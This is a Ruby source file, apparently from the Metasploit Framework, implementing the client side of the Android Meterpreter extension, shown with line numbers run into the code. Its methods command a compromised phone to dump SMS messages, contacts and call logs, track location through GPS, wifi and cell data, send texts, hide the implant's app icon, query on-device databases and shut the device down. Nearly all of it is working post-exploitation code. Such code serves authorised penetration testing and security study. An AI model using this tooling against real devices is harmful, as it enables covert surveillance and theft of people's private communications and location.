Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/rex/post/meterpreter/extensions/android/android.rb
Views: 11791
#1# -*- coding: binary -*-2require 'rex/post/meterpreter/extensions/android/tlv'3require 'rex/post/meterpreter/extensions/android/command_ids'4require 'rex/post/meterpreter/packet'5require 'rex/post/meterpreter/client'6require 'rex/post/meterpreter/channels/pools/stream_pool'78module Rex9module Post10module Meterpreter11module Extensions12module Android1314###15# Android extension - set of commands to be executed on android devices.16# extension by Anwar Mohamed (@anwarelmakrahy)17###1819class Android < Extension2021COLLECT_TYPE_WIFI = 122COLLECT_TYPE_GEO = 223COLLECT_TYPE_CELL = 32425COLLECT_ACTION_START = 126COLLECT_ACTION_PAUSE = 227COLLECT_ACTION_RESUME = 328COLLECT_ACTION_STOP = 429COLLECT_ACTION_DUMP = 53031COLLECT_TYPES = {32'wifi' => COLLECT_TYPE_WIFI,33'geo' => COLLECT_TYPE_GEO,34'cell' => COLLECT_TYPE_CELL,35}3637COLLECT_ACTIONS = {38'start' => COLLECT_ACTION_START,39'pause' => COLLECT_ACTION_PAUSE,40'resume' => COLLECT_ACTION_START,41'stop' => COLLECT_ACTION_STOP,42'dump' => COLLECT_ACTION_DUMP43}4445def self.extension_id46EXTENSION_ID_ANDROID47end4849def initialize(client)50super(client, 'android')5152# Alias the following things on the client object so that they53# can be directly referenced54client.register_extension_aliases(55[56{57'name' => 'android',58'ext' => self59}60])61end6263def collect_actions64return @@collect_action_list ||= COLLECT_ACTIONS.keys65end6667def collect_types68return @@collect_type_list ||= COLLECT_TYPES.keys69end7071def device_shutdown(n)72request = Packet.create_request(COMMAND_ID_ANDROID_DEVICE_SHUTDOWN)73request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)74response = client.send_request(request)75response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value76end7778def set_audio_mode(n)79request = Packet.create_request(COMMAND_ID_ANDROID_SET_AUDIO_MODE)80request.add_tlv(TLV_TYPE_AUDIO_MODE, n)81client.send_request(request)82end8384def interval_collect(opts)85request = Packet.create_request(COMMAND_ID_ANDROID_INTERVAL_COLLECT)86request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]])87request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]])88request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout])89response = client.send_request(request)9091result = {92headers: [],93collections: []94}9596case COLLECT_TYPES[opts[:type]]97when COLLECT_TYPE_WIFI98result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level']99result[:entries] = []100records = {}101102response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|103timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)104timestamp = ::Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')105106g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w|107bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID)108ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID)109key = "#{bssid}-#{ssid}"110111if !records.include?(key) || records[key][0] < timestamp112# Level is passed through as positive, because UINT113# but we flip it back to negative on this side114level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL)115records[key] = [timestamp, bssid, ssid, level]116end117end118end119120records.each do |k, v|121result[:entries] << v122end123124when COLLECT_TYPE_GEO125result[:headers] = ['Timestamp', 'Latitude', 'Longitude']126result[:entries] = []127records = {}128129response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|130timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)131timestamp = ::Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')132133g.each(TLV_TYPE_COLLECT_RESULT_GEO) do |w|134lat = w.get_tlv_value(TLV_TYPE_GEO_LAT)135lng = w.get_tlv_value(TLV_TYPE_GEO_LONG)136result[:entries] << [timestamp, lat, lng]137end138end139140when COLLECT_TYPE_CELL141result[:headers] = ['Timestamp', 'Cell Info']142result[:entries] = []143records = {}144145response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|146timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)147timestamp = ::Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')148149g.each(TLV_TYPE_COLLECT_RESULT_CELL) do |cell|150151cell.each(TLV_TYPE_CELL_ACTIVE_GSM) do |info|152cid = info.get_tlv_value(TLV_TYPE_CELL_CID)153lac = info.get_tlv_value(TLV_TYPE_CELL_LAC)154psc = info.get_tlv_value(TLV_TYPE_CELL_PSC)155info = sprintf("cid=%d lac=%d psc=%d", cid, lac, psc)156result[:entries] << [timestamp, "GSM: #{info}"]157end158159cell.each(TLV_TYPE_CELL_ACTIVE_CDMA) do |info|160bid = info.get_tlv_value(TLV_TYPE_CELL_BASE_ID)161lat = info.get_tlv_value(TLV_TYPE_CELL_BASE_LAT)162lng = info.get_tlv_value(TLV_TYPE_CELL_BASE_LONG)163net = info.get_tlv_value(TLV_TYPE_CELL_NET_ID)164sys = info.get_tlv_value(TLV_TYPE_CELL_SYSTEM_ID)165info = sprintf("base_id=%d lat=%d lng=%d net_id=%d sys_id=%d", bid, lat, lng, net, sys)166result[:entries] << [timestamp, "CDMA: #{info}"]167end168169cell.each(TLV_TYPE_CELL_NEIGHBOR) do |w|170net = w.get_tlv_value(TLV_TYPE_CELL_NET_TYPE)171cid = w.get_tlv_value(TLV_TYPE_CELL_CID)172lac = w.get_tlv_value(TLV_TYPE_CELL_LAC)173psc = w.get_tlv_value(TLV_TYPE_CELL_PSC)174sig = w.get_tlv_value(TLV_TYPE_CELL_RSSI) * -1175inf = sprintf("network_type=%d cid=%d lac=%d psc=%d rssi=%d", net, cid, lac, psc, sig)176result[:entries] << [timestamp, inf]177end178179end180end181end182183result184end185186def dump_sms187sms = []188request = Packet.create_request(COMMAND_ID_ANDROID_DUMP_SMS)189response = client.send_request(request)190191response.each(TLV_TYPE_SMS_GROUP) do |p|192sms << {193'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),194'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),195'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,196'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),197'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)198}199end200sms201end202203def dump_contacts204contacts = []205request = Packet.create_request(COMMAND_ID_ANDROID_DUMP_CONTACTS)206response = client.send_request(request)207208response.each(TLV_TYPE_CONTACT_GROUP) do |p|209contacts << {210'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),211'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),212'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))213}214end215contacts216end217218def geolocate219loc = []220request = Packet.create_request(COMMAND_ID_ANDROID_GEOLOCATE)221response = client.send_request(request)222223loc << {224'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),225'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)226}227228loc229end230231def dump_calllog232log = []233request = Packet.create_request(COMMAND_ID_ANDROID_DUMP_CALLLOG)234response = client.send_request(request)235236response.each(TLV_TYPE_CALLLOG_GROUP) do |p|237log << {238'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),239'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),240'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),241'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),242'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)243}244end245log246end247248def check_root249request = Packet.create_request(COMMAND_ID_ANDROID_CHECK_ROOT)250response = client.send_request(request)251response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value252end253254def hide_app_icon255request = Packet.create_request(COMMAND_ID_ANDROID_HIDE_APP_ICON)256response = client.send_request(request)257response.get_tlv_value(TLV_TYPE_ICON_NAME)258end259260def activity_start(uri)261request = Packet.create_request(COMMAND_ID_ANDROID_ACTIVITY_START)262request.add_tlv(TLV_TYPE_URI_STRING, uri)263response = client.send_request(request)264if response.get_tlv(TLV_TYPE_ACTIVITY_START_RESULT).value265return nil266else267return response.get_tlv(TLV_TYPE_ACTIVITY_START_ERROR).value268end269end270271def set_wallpaper(data)272request = Packet.create_request(COMMAND_ID_ANDROID_SET_WALLPAPER)273request.add_tlv(TLV_TYPE_WALLPAPER_DATA, data)274client.send_request(request)275end276277def send_sms(dest, body, dr)278request = Packet.create_request(COMMAND_ID_ANDROID_SEND_SMS)279request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)280request.add_tlv(TLV_TYPE_SMS_BODY, body)281request.add_tlv(TLV_TYPE_SMS_DR, dr)282if dr == false283response = client.send_request(request)284sr = response.get_tlv(TLV_TYPE_SMS_SR).value285return sr286else287response = client.send_request(request, 30)288sr = response.get_tlv(TLV_TYPE_SMS_SR).value289dr = response.get_tlv(TLV_TYPE_SMS_SR).value290return [sr, dr]291end292end293294def wlan_geolocate295request = Packet.create_request(COMMAND_ID_ANDROID_WLAN_GEOLOCATE)296response = client.send_request(request, 30)297networks = []298response.each(TLV_TYPE_WLAN_GROUP) do |p|299networks << {300'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value),301'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value),302'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value)303}304end305networks306end307308def sqlite_query(dbname, query, writeable)309request = Packet.create_request(COMMAND_ID_ANDROID_SQLITE_QUERY)310request.add_tlv(TLV_TYPE_SQLITE_NAME, dbname)311request.add_tlv(TLV_TYPE_SQLITE_QUERY, query)312request.add_tlv(TLV_TYPE_SQLITE_WRITE, writeable)313response = client.send_request(request, 30)314error_msg = response.get_tlv(TLV_TYPE_SQLITE_ERROR)315raise "SQLiteException: #{error_msg.value}" if error_msg316317unless writeable318result = {319columns: [],320rows: []321}322data = response.get_tlv(TLV_TYPE_SQLITE_RESULT_GROUP)323unless data.nil?324columns = data.get_tlv(TLV_TYPE_SQLITE_RESULT_COLS)325result[:columns] = columns.get_tlv_values(TLV_TYPE_SQLITE_VALUE)326data.each(TLV_TYPE_SQLITE_RESULT_ROW) do |row|327result[:rows] << row.get_tlv_values(TLV_TYPE_SQLITE_VALUE)328end329end330result331end332end333334def wakelock(flags)335request = Packet.create_request(COMMAND_ID_ANDROID_WAKELOCK)336request.add_tlv(TLV_TYPE_FLAGS, flags)337client.send_request(request)338end339340end341end342end343end344end345end346347348